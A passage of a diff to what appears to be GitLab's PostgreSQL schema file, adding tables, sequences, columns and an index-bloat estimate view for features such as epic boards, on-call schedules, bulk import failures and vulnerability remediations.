+ epic_id bigint NOT NULL,
+ relative_position integer,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL
+);
+
+CREATE SEQUENCE boards_epic_board_positions_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE boards_epic_board_positions_id_seq OWNED BY boards_epic_board_positions.id;
+
+CREATE TABLE boards_epic_boards (
+ id bigint NOT NULL,
+ hide_backlog_list boolean DEFAULT false NOT NULL,
+ hide_closed_list boolean DEFAULT false NOT NULL,
+ group_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ name text DEFAULT 'Development'::text NOT NULL,
+ CONSTRAINT check_bcbbffe601 CHECK ((char_length(name) <= 255))
+);
+
+CREATE SEQUENCE boards_epic_boards_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE boards_epic_boards_id_seq OWNED BY boards_epic_boards.id;
+
CREATE TABLE boards_epic_user_preferences (
id bigint NOT NULL,
board_id bigint NOT NULL,
@@ -9923,6 +10009,29 @@ CREATE SEQUENCE bulk_import_entities_id_seq
ALTER SEQUENCE bulk_import_entities_id_seq OWNED BY bulk_import_entities.id;
+CREATE TABLE bulk_import_failures (
+ id bigint NOT NULL,
+ bulk_import_entity_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ pipeline_class text NOT NULL,
+ exception_class text NOT NULL,
+ exception_message text NOT NULL,
+ correlation_id_value text,
+ CONSTRAINT check_053d65c7a4 CHECK ((char_length(pipeline_class) <= 255)),
+ CONSTRAINT check_6eca8f972e CHECK ((char_length(exception_message) <= 255)),
+ CONSTRAINT check_c7dba8398e CHECK ((char_length(exception_class) <= 255)),
+ CONSTRAINT check_e787285882 CHECK ((char_length(correlation_id_value) <= 255))
+);
+
+CREATE SEQUENCE bulk_import_failures_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE bulk_import_failures_id_seq OWNED BY bulk_import_failures.id;
+
CREATE TABLE bulk_import_trackers (
id bigint NOT NULL,
bulk_import_entity_id bigint NOT NULL,
@@ -10024,7 +10133,8 @@ CREATE TABLE ci_build_pending_states (
build_id bigint NOT NULL,
state smallint,
failure_reason smallint,
- trace_checksum bytea
+ trace_checksum bytea,
+ trace_bytesize bigint
);
CREATE SEQUENCE ci_build_pending_states_id_seq
@@ -11290,6 +11400,7 @@ CREATE TABLE compliance_management_frameworks (
description text NOT NULL,
color text NOT NULL,
namespace_id integer NOT NULL,
+ regulated boolean DEFAULT true NOT NULL,
CONSTRAINT check_08cd34b2c2 CHECK ((char_length(color) <= 10)),
CONSTRAINT check_1617e0b87e CHECK ((char_length(description) <= 255)),
CONSTRAINT check_ab00bc2193 CHECK ((char_length(name) <= 255))
@@ -11326,7 +11437,8 @@ CREATE TABLE container_repositories (
updated_at timestamp without time zone NOT NULL,
status smallint,
expiration_policy_started_at timestamp with time zone,
- expiration_policy_cleanup_status smallint DEFAULT 0 NOT NULL
+ expiration_policy_cleanup_status smallint DEFAULT 0 NOT NULL,
+ expiration_policy_completed_at timestamp with time zone
);
CREATE SEQUENCE container_repositories_id_seq
@@ -11567,6 +11679,30 @@ CREATE SEQUENCE dependency_proxy_group_settings_id_seq
ALTER SEQUENCE dependency_proxy_group_settings_id_seq OWNED BY dependency_proxy_group_settings.id;
+CREATE TABLE dependency_proxy_manifests (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ group_id bigint NOT NULL,
+ size bigint,
+ file_store smallint,
+ file_name text NOT NULL,
+ file text NOT NULL,
+ digest text NOT NULL,
+ CONSTRAINT check_079b293a7b CHECK ((char_length(file) <= 255)),
+ CONSTRAINT check_c579e3f586 CHECK ((char_length(file_name) <= 255)),
+ CONSTRAINT check_f5d9996bf1 CHECK ((char_length(digest) <= 255))
+);
+
+CREATE SEQUENCE dependency_proxy_manifests_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE dependency_proxy_manifests_id_seq OWNED BY dependency_proxy_manifests.id;
+
CREATE TABLE deploy_keys_projects (
id integer NOT NULL,
deploy_key_id integer NOT NULL,
@@ -11820,13 +11956,13 @@ ALTER SEQUENCE elastic_reindexing_tasks_id_seq OWNED BY elastic_reindexing_tasks
CREATE TABLE elasticsearch_indexed_namespaces (
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
- namespace_id integer
+ namespace_id integer NOT NULL
);
CREATE TABLE elasticsearch_indexed_projects (
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
- project_id integer
+ project_id integer NOT NULL
);
CREATE TABLE emails (
@@ -12008,13 +12144,36 @@ CREATE SEQUENCE evidences_id_seq
ALTER SEQUENCE evidences_id_seq OWNED BY evidences.id;
+CREATE TABLE experiment_subjects (
+ id bigint NOT NULL,
+ experiment_id bigint NOT NULL,
+ user_id bigint,
+ group_id bigint,
+ project_id bigint,
+ variant smallint DEFAULT 0 NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ CONSTRAINT chk_has_one_subject CHECK ((num_nonnulls(user_id, group_id, project_id) = 1))
+);
+
+CREATE SEQUENCE experiment_subjects_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE experiment_subjects_id_seq OWNED BY experiment_subjects.id;
+
CREATE TABLE experiment_users (
id bigint NOT NULL,
experiment_id bigint NOT NULL,
user_id bigint NOT NULL,
group_type smallint DEFAULT 0 NOT NULL,
created_at timestamp with time zone NOT NULL,
- updated_at timestamp with time zone NOT NULL
+ updated_at timestamp with time zone NOT NULL,
+ converted_at timestamp with time zone,
+ context jsonb DEFAULT '{}'::jsonb NOT NULL
);
CREATE SEQUENCE experiment_users_id_seq
@@ -12857,6 +13016,67 @@ CREATE SEQUENCE import_failures_id_seq
ALTER SEQUENCE import_failures_id_seq OWNED BY import_failures.id;
+CREATE TABLE incident_management_oncall_participants (
+ id bigint NOT NULL,
+ oncall_rotation_id bigint NOT NULL,
+ user_id bigint NOT NULL,
+ color_palette smallint NOT NULL,
+ color_weight smallint NOT NULL
+);
+
+CREATE SEQUENCE incident_management_oncall_participants_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE incident_management_oncall_participants_id_seq OWNED BY incident_management_oncall_participants.id;
+
+CREATE TABLE incident_management_oncall_rotations (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ oncall_schedule_id bigint NOT NULL,
+ length integer NOT NULL,
+ length_unit smallint NOT NULL,
+ starts_at timestamp with time zone NOT NULL,
+ name text NOT NULL,
+ CONSTRAINT check_5209fb5d02 CHECK ((char_length(name) <= 200))
+);
+
+CREATE SEQUENCE incident_management_oncall_rotations_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE incident_management_oncall_rotations_id_seq OWNED BY incident_management_oncall_rotations.id;
+
+CREATE TABLE incident_management_oncall_schedules (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ project_id bigint NOT NULL,
+ iid integer NOT NULL,
+ name text NOT NULL,
+ description text,
+ timezone text,
+ CONSTRAINT check_7ed1fd5aa7 CHECK ((char_length(description) <= 1000)),
+ CONSTRAINT check_cc77cbb103 CHECK ((char_length(timezone) <= 100)),
+ CONSTRAINT check_e6ef43a664 CHECK ((char_length(name) <= 200))
+);
+
+CREATE SEQUENCE incident_management_oncall_schedules_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE incident_management_oncall_schedules_id_seq OWNED BY incident_management_oncall_schedules.id;
+
CREATE TABLE index_statuses (
id integer NOT NULL,
project_id integer NOT NULL,
@@ -12925,6 +13145,27 @@ CREATE SEQUENCE ip_restrictions_id_seq
ALTER SEQUENCE ip_restrictions_id_seq OWNED BY ip_restrictions.id;
+CREATE TABLE issuable_metric_images (
+ id bigint NOT NULL,
+ issue_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ file_store smallint,
+ file text NOT NULL,
+ url text,
+ CONSTRAINT check_5b3011e234 CHECK ((char_length(url) <= 255)),
+ CONSTRAINT check_7ed527062f CHECK ((char_length(file) <= 255))
+);
+
+CREATE SEQUENCE issuable_metric_images_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE issuable_metric_images_id_seq OWNED BY issuable_metric_images.id;
+
CREATE TABLE issuable_severities (
id bigint NOT NULL,
issue_id bigint NOT NULL,
@@ -13417,7 +13658,8 @@ CREATE TABLE lists (
milestone_id integer,
max_issue_count integer DEFAULT 0 NOT NULL,
max_issue_weight integer DEFAULT 0 NOT NULL,
- limit_metric character varying(20)
+ limit_metric character varying(20),
+ iteration_id bigint
);
CREATE SEQUENCE lists_id_seq
@@ -13521,7 +13763,7 @@ CREATE TABLE merge_request_context_commit_diff_files (
old_path text NOT NULL,
diff text,
"binary" boolean,
- merge_request_context_commit_id bigint
+ merge_request_context_commit_id bigint NOT NULL
);
CREATE TABLE merge_request_context_commits (
@@ -13611,6 +13853,7 @@ CREATE TABLE merge_request_diffs (
external_diff_store integer DEFAULT 1,
stored_externally boolean,
files_count smallint,
+ sorted boolean DEFAULT false NOT NULL,
CONSTRAINT check_93ee616ac9 CHECK ((external_diff_store IS NOT NULL))
);
@@ -13868,6 +14111,22 @@ CREATE TABLE namespace_limits (
temporary_storage_increase_ends_on date
);
+CREATE TABLE namespace_onboarding_actions (
+ id bigint NOT NULL,
+ namespace_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ action smallint NOT NULL
+);
+
+CREATE SEQUENCE namespace_onboarding_actions_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE namespace_onboarding_actions_id_seq OWNED BY namespace_onboarding_actions.id;
+
CREATE TABLE namespace_root_storage_statistics (
namespace_id integer NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -14485,6 +14744,8 @@ CREATE TABLE packages_package_files (
verification_failure character varying(255),
verification_retry_count integer,
verification_checksum bytea,
+ verification_state smallint DEFAULT 0 NOT NULL,
+ verification_started_at timestamp with time zone,
CONSTRAINT check_4c5e6bb0b3 CHECK ((file_store IS NOT NULL))
);
@@ -14732,7 +14993,9 @@ CREATE TABLE plan_limits (
golang_max_file_size bigint DEFAULT 104857600 NOT NULL,
debian_max_file_size bigint DEFAULT '3221225472'::bigint NOT NULL,
project_feature_flags integer DEFAULT 200 NOT NULL,
- ci_max_artifact_size_api_fuzzing integer DEFAULT 0 NOT NULL
+ ci_max_artifact_size_api_fuzzing integer DEFAULT 0 NOT NULL,
+ ci_pipeline_deployments integer DEFAULT 500 NOT NULL,
+ pull_mirror_interval_seconds integer DEFAULT 300 NOT NULL
);
CREATE SEQUENCE plan_limits_id_seq
@@ -14778,11 +15041,124 @@ CREATE SEQUENCE pool_repositories_id_seq
ALTER SEQUENCE pool_repositories_id_seq OWNED BY pool_repositories.id;
+CREATE VIEW postgres_index_bloat_estimates AS
+ SELECT (((relation_stats.nspname)::text || '.'::text) || (relation_stats.idxname)::text) AS identifier,
+ (
+ CASE
+ WHEN ((relation_stats.relpages)::double precision > relation_stats.est_pages_ff) THEN ((relation_stats.bs)::double precision * ((relation_stats.relpages)::double precision - relation_stats.est_pages_ff))
+ ELSE (0)::double precision
+ END)::bigint AS bloat_size_bytes
+ FROM ( SELECT COALESCE(((1)::double precision + ceil((rows_hdr_pdg_stats.reltuples / floor((((((rows_hdr_pdg_stats.bs - (rows_hdr_pdg_stats.pageopqdata)::numeric) - (rows_hdr_pdg_stats.pagehdr)::numeric) * (rows_hdr_pdg_stats.fillfactor)::numeric))::double precision / ((100)::double precision * (((4)::numeric + rows_hdr_pdg_stats.nulldatahdrwidth))::double precision)))))), (0)::double precision) AS est_pages_ff,
+ rows_hdr_pdg_stats.bs,
+ rows_hdr_pdg_stats.nspname,
+ rows_hdr_pdg_stats.tblname,
+ rows_hdr_pdg_stats.idxname,
+ rows_hdr_pdg_stats.relpages,
+ rows_hdr_pdg_stats.is_na
+ FROM ( SELECT rows_data_stats.maxalign,
+ rows_data_stats.bs,
+ rows_data_stats.nspname,
+ rows_data_stats.tblname,
+ rows_data_stats.idxname,
+ rows_data_stats.reltuples,
+ rows_data_stats.relpages,
+ rows_data_stats.idxoid,
+ rows_data_stats.fillfactor,
+ (((((((rows_data_stats.index_tuple_hdr_bm + rows_data_stats.maxalign) -
+ CASE
+ WHEN ((rows_data_stats.index_tuple_hdr_bm % rows_data_stats.maxalign) = 0) THEN rows_data_stats.maxalign
+ ELSE (rows_data_stats.index_tuple_hdr_bm % rows_data_stats.maxalign)
+ END))::double precision + rows_data_stats.nulldatawidth) + (rows_data_stats.maxalign)::double precision) - (
+ CASE
+ WHEN (rows_data_stats.nulldatawidth = (0)::double precision) THEN 0
+ WHEN (((rows_data_stats.nulldatawidth)::integer % rows_data_stats.maxalign) = 0) THEN rows_data_stats.maxalign
+ ELSE ((rows_data_stats.nulldatawidth)::integer % rows_data_stats.maxalign)
+ END)::double precision))::numeric AS nulldatahdrwidth,
+ rows_data_stats.pagehdr,
+ rows_data_stats.pageopqdata,
+ rows_data_stats.is_na
+ FROM ( SELECT n.nspname,
+ i.tblname,
+ i.idxname,
+ i.reltuples,
+ i.relpages,
+ i.idxoid,
+ i.fillfactor,
+ (current_setting('block_size'::text))::numeric AS bs,
+ CASE
+ WHEN ((version() ~ 'mingw32'::text) OR (version() ~ '64-bit|x86_64|ppc64|ia64|amd64'::text)) THEN 8
+ ELSE 4
+ END AS maxalign,
+ 24 AS pagehdr,
+ 16 AS pageopqdata,
+ CASE
+ WHEN (max(COALESCE(s.null_frac, (0)::real)) = (0)::double precision) THEN 2
+ ELSE (2 + (((32 + 8) - 1) / 8))
+ END AS index_tuple_hdr_bm,
+ sum((((1)::double precision - COALESCE(s.null_frac, (0)::real)) * (COALESCE(s.avg_width, 1024))::double precision)) AS nulldatawidth,
+ (max(
+ CASE
+ WHEN (i.atttypid = ('name'::regtype)::oid) THEN 1
+ ELSE 0
+ END) > 0) AS is_na
+ FROM ((( SELECT ct.relname AS tblname,
+ ct.relnamespace,
+ ic.idxname,
+ ic.attpos,
+ ic.indkey,
+ ic.indkey[ic.attpos] AS indkey,
+ ic.reltuples,
+ ic.relpages,
+ ic.tbloid,
+ ic.idxoid,
+ ic.fillfactor,
+ COALESCE(a1.attnum, a2.attnum) AS attnum,
+ COALESCE(a1.attname, a2.attname) AS attname,
+ COALESCE(a1.atttypid, a2.atttypid) AS atttypid,
+CASE
+ WHEN (a1.attnum IS NULL) THEN ic.idxname
+ ELSE ct.relname
+END AS attrelname
+ FROM (((( SELECT idx_data.idxname,
+ idx_data.reltuples,
+ idx_data.relpages,
+ idx_data.tbloid,
+ idx_data.idxoid,
+ idx_data.fillfactor,
+ idx_data.indkey,
+ generate_series(1, (idx_data.indnatts)::integer) AS attpos
+ FROM ( SELECT ci.relname AS idxname,
+ ci.reltuples,
+ ci.relpages,
+ i_1.indrelid AS tbloid,
+ i_1.indexrelid AS idxoid,
+ COALESCE((("substring"(array_to_string(ci.reloptions, ' '::text), 'fillfactor=([0-9]+)'::text))::smallint)::integer, 90) AS fillfactor,
+ i_1.indnatts,
+ (string_to_array(textin(int2vectorout(i_1.indkey)), ' '::text))::integer[] AS indkey
+ FROM (pg_index i_1
+ JOIN pg_class ci ON ((ci.oid = i_1.indexrelid)))
+ WHERE ((ci.relam = ( SELECT pg_am.oid
+ FROM pg_am
+ WHERE (pg_am.amname = 'btree'::name))) AND (ci.relpages > 0))) idx_data) ic
+ JOIN pg_class ct ON ((ct.oid = ic.tbloid)))
+ LEFT JOIN pg_attribute a1 ON (((ic.indkey[ic.attpos] <> 0) AND (a1.attrelid = ic.tbloid) AND (a1.attnum = ic.indkey[ic.attpos]))))
+ LEFT JOIN pg_attribute a2 ON (((ic.indkey[ic.attpos] = 0) AND (a2.attrelid = ic.idxoid) AND (a2.attnum = ic.attpos))))) i(tblname, relnamespace, idxname, attpos, indkey, indkey_1, reltuples, relpages, tbloid, idxoid, fillfactor, attnum, attname, atttypid, attrelname)
+ JOIN pg_namespace n ON ((n.oid = i.relnamespace)))
+ JOIN pg_stats s ON (((s.schemaname = n.nspname) AND (s.tablename = i.attrelname) AND (s.attname = i.attname))))
+ GROUP BY n.nspname, i.tblname, i.idxname, i.reltuples, i.relpages, i.idxoid, i.fillfactor, (current_setting('block_size'::text))::numeric,
+ CASE
+ WHEN ((version() ~ 'mingw32'::text) OR (version() ~ '64-bit|x86_64|ppc64|ia64|amd64'::text)) THEN 8
+ ELSE 4
+ END, 24::integer, 16::integer) rows_data_stats) rows_hdr_pdg_stats) relation_stats
+ WHERE ((relation_stats.nspname = ANY (ARRAY["current_schema"(), 'gitlab_partitions_dynamic'::name, 'gitlab_partitions_static'::name])) AND (NOT relation_stats.is_na))
+ ORDER BY relation_stats.nspname, relation_stats.tblname, relation_stats.idxname;
+
CREATE VIEW postgres_indexes AS
SELECT (((pg_namespace.nspname)::text || '.'::text) || (pg_class.relname)::text) AS identifier,
pg_index.indexrelid,
pg_namespace.nspname AS schema,
pg_class.relname AS name,
+ pg_indexes.tablename,
pg_index.indisunique AS "unique",
pg_index.indisvalid AS valid_index,
pg_class.relispartition AS partitioned,
@@ -14847,6 +15223,7 @@ CREATE TABLE postgres_reindex_actions (
ondisk_size_bytes_end bigint,
state smallint DEFAULT 0 NOT NULL,
index_identifier text NOT NULL,
+ bloat_estimate_bytes_start bigint,
CONSTRAINT check_f12527622c CHECK ((char_length(index_identifier) <= 255))
);
@@ -15061,7 +15438,9 @@ CREATE TABLE project_features (
pages_access_level integer NOT NULL,
forking_access_level integer,
metrics_dashboard_access_level integer,
- requirements_access_level integer DEFAULT 20 NOT NULL
+ requirements_access_level integer DEFAULT 20 NOT NULL,
+ operations_access_level integer DEFAULT 20 NOT NULL,
+ analytics_access_level integer DEFAULT 20 NOT NULL
);
CREATE SEQUENCE project_features_id_seq
@@ -15261,6 +15640,7 @@ CREATE TABLE project_settings (
squash_option smallint DEFAULT 3,
has_confluence boolean DEFAULT false NOT NULL,
has_vulnerabilities boolean DEFAULT false NOT NULL,
+ allow_editing_commit_messages boolean DEFAULT false NOT NULL,
CONSTRAINT check_bde223416c CHECK ((show_default_award_emojis IS NOT NULL))
);
@@ -16062,6 +16442,7 @@ CREATE TABLE security_findings (
project_fingerprint text NOT NULL,
deduplicated boolean DEFAULT false NOT NULL,
"position" integer,
+ uuid uuid,
CONSTRAINT check_b9508c6df8 CHECK ((char_length(project_fingerprint) <= 40))
);
@@ -16625,7 +17006,7 @@ CREATE TABLE terraform_states (
locked_by_user_id bigint,
uuid character varying(32) NOT NULL,
name character varying(255),
- versioning_enabled boolean DEFAULT false NOT NULL
+ versioning_enabled boolean DEFAULT true NOT NULL
);
CREATE SEQUENCE terraform_states_id_seq
@@ -16821,7 +17202,10 @@ CREATE TABLE user_details (
bio_html text,
cached_markdown_version integer,
webauthn_xid text,
- CONSTRAINT check_245664af82 CHECK ((char_length(webauthn_xid) <= 100))
+ other_role text,
+ provisioned_by_group_id bigint,
+ CONSTRAINT check_245664af82 CHECK ((char_length(webauthn_xid) <= 100)),
+ CONSTRAINT check_b132136b01 CHECK ((char_length(other_role) <= 100))
);
CREATE SEQUENCE user_details_user_id_seq
@@ -16844,6 +17228,26 @@ CREATE TABLE user_interacted_projects (
project_id integer NOT NULL
);
+CREATE TABLE user_permission_export_uploads (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ user_id bigint NOT NULL,
+ file_store integer,
+ status smallint DEFAULT 0 NOT NULL,
+ file text,
+ CONSTRAINT check_1956806648 CHECK ((char_length(file) <= 255))
+);
+
+CREATE SEQUENCE user_permission_export_uploads_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE user_permission_export_uploads_id_seq OWNED BY user_permission_export_uploads.id;
+
CREATE TABLE user_preferences (
id integer NOT NULL,
user_id integer NOT NULL,
@@ -16867,7 +17271,6 @@ CREATE TABLE user_preferences (
setup_for_company boolean,
render_whitespace_in_code boolean,
tab_width smallint,
- feature_filter_type bigint,
experience_level smallint,
view_diffs_file_by_file boolean DEFAULT false NOT NULL,
gitpod_enabled boolean DEFAULT false NOT NULL
@@ -17142,6 +17545,29 @@ CREATE SEQUENCE vulnerability_exports_id_seq
ALTER SEQUENCE vulnerability_exports_id_seq OWNED BY vulnerability_exports.id;
+CREATE TABLE vulnerability_external_issue_links (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ author_id bigint NOT NULL,
+ vulnerability_id bigint NOT NULL,
+ link_type smallint DEFAULT 1 NOT NULL,
+ external_type smallint DEFAULT 1 NOT NULL,
+ external_project_key text NOT NULL,
+ external_issue_key text NOT NULL,
+ CONSTRAINT check_3200604f5e CHECK ((char_length(external_issue_key) <= 255)),
+ CONSTRAINT check_68cffd19b0 CHECK ((char_length(external_project_key) <= 255))
+);
+
+CREATE SEQUENCE vulnerability_external_issue_links_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_external_issue_links_id_seq OWNED BY vulnerability_external_issue_links.id;
+
CREATE TABLE vulnerability_feedback (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -17156,7 +17582,8 @@ CREATE TABLE vulnerability_feedback (
merge_request_id integer,
comment_author_id integer,
comment text,
- comment_timestamp timestamp with time zone
+ comment_timestamp timestamp with time zone,
+ finding_uuid uuid
);
CREATE SEQUENCE vulnerability_feedback_id_seq
@@ -17188,6 +17615,23 @@ CREATE SEQUENCE vulnerability_finding_links_id_seq
ALTER SEQUENCE vulnerability_finding_links_id_seq OWNED BY vulnerability_finding_links.id;
+CREATE TABLE vulnerability_findings_remediations (
+ id bigint NOT NULL,
+ vulnerability_occurrence_id bigint,
+ vulnerability_remediation_id bigint,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL
+);
+
+CREATE SEQUENCE vulnerability_findings_remediations_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_findings_remediations_id_seq OWNED BY vulnerability_findings_remediations.id;
+
CREATE TABLE vulnerability_historical_statistics (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -17302,7 +17746,8 @@ CREATE TABLE vulnerability_occurrences (
name character varying NOT NULL,
metadata_version character varying NOT NULL,
raw_metadata text NOT NULL,
- vulnerability_id bigint
+ vulnerability_id bigint,
+ details jsonb DEFAULT '{}'::jsonb NOT NULL
);
CREATE SEQUENCE vulnerability_occurrences_id_seq
@@ -17314,6 +17759,30 @@ CREATE SEQUENCE vulnerability_occurrences_id_seq
ALTER SEQUENCE vulnerability_occurrences_id_seq OWNED BY vulnerability_occurrences.id;
+CREATE TABLE vulnerability_remediations (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ file_store smallint,
+ summary text NOT NULL,
+ file text NOT NULL,
+ checksum bytea NOT NULL,
+ project_id bigint NOT NULL,
+ CONSTRAINT check_ac0ccabff3 CHECK ((char_length(summary) <= 200)),
+ CONSTRAINT check_fe3325e3ba CHECK ((char_length(file) <= 255))
+);
+
+COMMENT ON COLUMN vulnerability_remediations.checksum IS 'Stores the SHA256 checksum of the attached diff file';
+
+CREATE SEQUENCE vulnerability_remediations_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_remediations_id_seq OWNED BY vulnerability_remediations.id;
+
CREATE TABLE vulnerability_scanners (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -17427,7 +17896,8 @@ CREATE TABLE web_hooks (
encrypted_url_iv character varying,
deployment_events boolean DEFAULT false NOT NULL,
releases_events boolean DEFAULT false NOT NULL,
- feature_flag_events boolean DEFAULT false NOT NULL
+ feature_flag_events boolean DEFAULT false NOT NULL,
+ member_events boolean DEFAULT false NOT NULL
);
CREATE SEQUENCE web_hooks_id_seq
@@ -17449,8 +17919,8 @@ CREATE TABLE webauthn_registrations (
name text NOT NULL,
public_key text NOT NULL,
u2f_registration_id integer,
- CONSTRAINT check_242f0cc65c CHECK ((char_length(credential_xid) <= 255)),
- CONSTRAINT check_2f02e74321 CHECK ((char_length(name) <= 255))
+ CONSTRAINT check_2f02e74321 CHECK ((char_length(name) <= 255)),
+ CONSTRAINT check_e54008d9ce CHECK ((char_length(credential_xid) <= 340))
);
CREATE SEQUENCE webauthn_registrations_id_seq
@@ -17598,6 +18068,8 @@ ALTER TABLE ONLY analytics_devops_adoption_segment_selections ALTER COLUMN id SE
ALTER TABLE ONLY analytics_devops_adoption_segments ALTER COLUMN id SET DEFAULT nextval('analytics_devops_adoption_segments_id_seq'::regclass);
+ALTER TABLE ONLY analytics_devops_adoption_snapshots ALTER COLUMN id SET DEFAULT nextval('analytics_devops_adoption_snapshots_id_seq'::regclass);
+
ALTER TABLE ONLY analytics_instance_statistics_measurements ALTER COLUMN id SET DEFAULT nextval('analytics_instance_statistics_measurements_id_seq'::regclass);
ALTER TABLE ONLY appearances ALTER COLUMN id SET DEFAULT nextval('appearances_id_seq'::regclass);
@@ -17652,6 +18124,12 @@ ALTER TABLE ONLY board_user_preferences ALTER COLUMN id SET DEFAULT nextval('boa
ALTER TABLE ONLY boards ALTER COLUMN id SET DEFAULT nextval('boards_id_seq'::regclass);
+ALTER TABLE ONLY boards_epic_board_labels ALTER COLUMN id SET DEFAULT nextval('boards_epic_board_labels_id_seq'::regclass);
+
+ALTER TABLE ONLY boards_epic_board_positions ALTER COLUMN id SET DEFAULT nextval('boards_epic_board_positions_id_seq'::regclass);
+
+ALTER TABLE ONLY boards_epic_boards ALTER COLUMN id SET DEFAULT nextval('boards_epic_boards_id_seq'::regclass);
+
ALTER TABLE ONLY boards_epic_user_preferences ALTER COLUMN id SET DEFAULT nextval('boards_epic_user_preferences_id_seq'::regclass);
ALTER TABLE ONLY broadcast_messages ALTER COLUMN id SET DEFAULT nextval('broadcast_messages_id_seq'::regclass);
@@ -17660,6 +18138,8 @@ ALTER TABLE ONLY bulk_import_configurations ALTER COLUMN id SET DEFAULT nextval(
ALTER TABLE ONLY bulk_import_entities ALTER COLUMN id SET DEFAULT nextval('bulk_import_entities_id_seq'::regclass);
+ALTER TABLE ONLY bulk_import_failures ALTER COLUMN id SET DEFAULT nextval('bulk_import_failures_id_seq'::regclass);
+
ALTER TABLE ONLY bulk_import_trackers ALTER COLUMN id SET DEFAULT nextval('bulk_import_trackers_id_seq'::regclass);
ALTER TABLE ONLY bulk_imports ALTER COLUMN id SET DEFAULT nextval('bulk_imports_id_seq'::regclass);
@@ -17812,6 +18292,8 @@ ALTER TABLE ONLY dependency_proxy_blobs ALTER COLUMN id SET DEFAULT nextval('dep
ALTER TABLE ONLY dependency_proxy_group_settings ALTER COLUMN id SET DEFAULT nextval('dependency_proxy_group_settings_id_seq'::regclass);
+ALTER TABLE ONLY dependency_proxy_manifests ALTER COLUMN id SET DEFAULT nextval('dependency_proxy_manifests_id_seq'::regclass);
+
ALTER TABLE ONLY deploy_keys_projects ALTER COLUMN id SET DEFAULT nextval('deploy_keys_projects_id_seq'::regclass);
ALTER TABLE ONLY deploy_tokens ALTER COLUMN id SET DEFAULT nextval('deploy_tokens_id_seq'::regclass);
@@ -17850,6 +18332,8 @@ ALTER TABLE ONLY events ALTER COLUMN id SET DEFAULT nextval('events_id_seq'::reg
ALTER TABLE ONLY evidences ALTER COLUMN id SET DEFAULT nextval('evidences_id_seq'::regclass);
+ALTER TABLE ONLY experiment_subjects ALTER COLUMN id SET DEFAULT nextval('experiment_subjects_id_seq'::regclass);
+
ALTER TABLE ONLY experiment_users ALTER COLUMN id SET DEFAULT nextval('experiment_users_id_seq'::regclass);
ALTER TABLE ONLY experiments ALTER COLUMN id SET DEFAULT nextval('experiments_id_seq'::regclass);
@@ -17932,6 +18416,12 @@ ALTER TABLE ONLY import_export_uploads ALTER COLUMN id SET DEFAULT nextval('impo
ALTER TABLE ONLY import_failures ALTER COLUMN id SET DEFAULT nextval('import_failures_id_seq'::regclass);
+ALTER TABLE ONLY incident_management_oncall_participants ALTER COLUMN id SET DEFAULT nextval('incident_management_oncall_participants_id_seq'::regclass);
+
+ALTER TABLE ONLY incident_management_oncall_rotations ALTER COLUMN id SET DEFAULT nextval('incident_management_oncall_rotations_id_seq'::regclass);
+
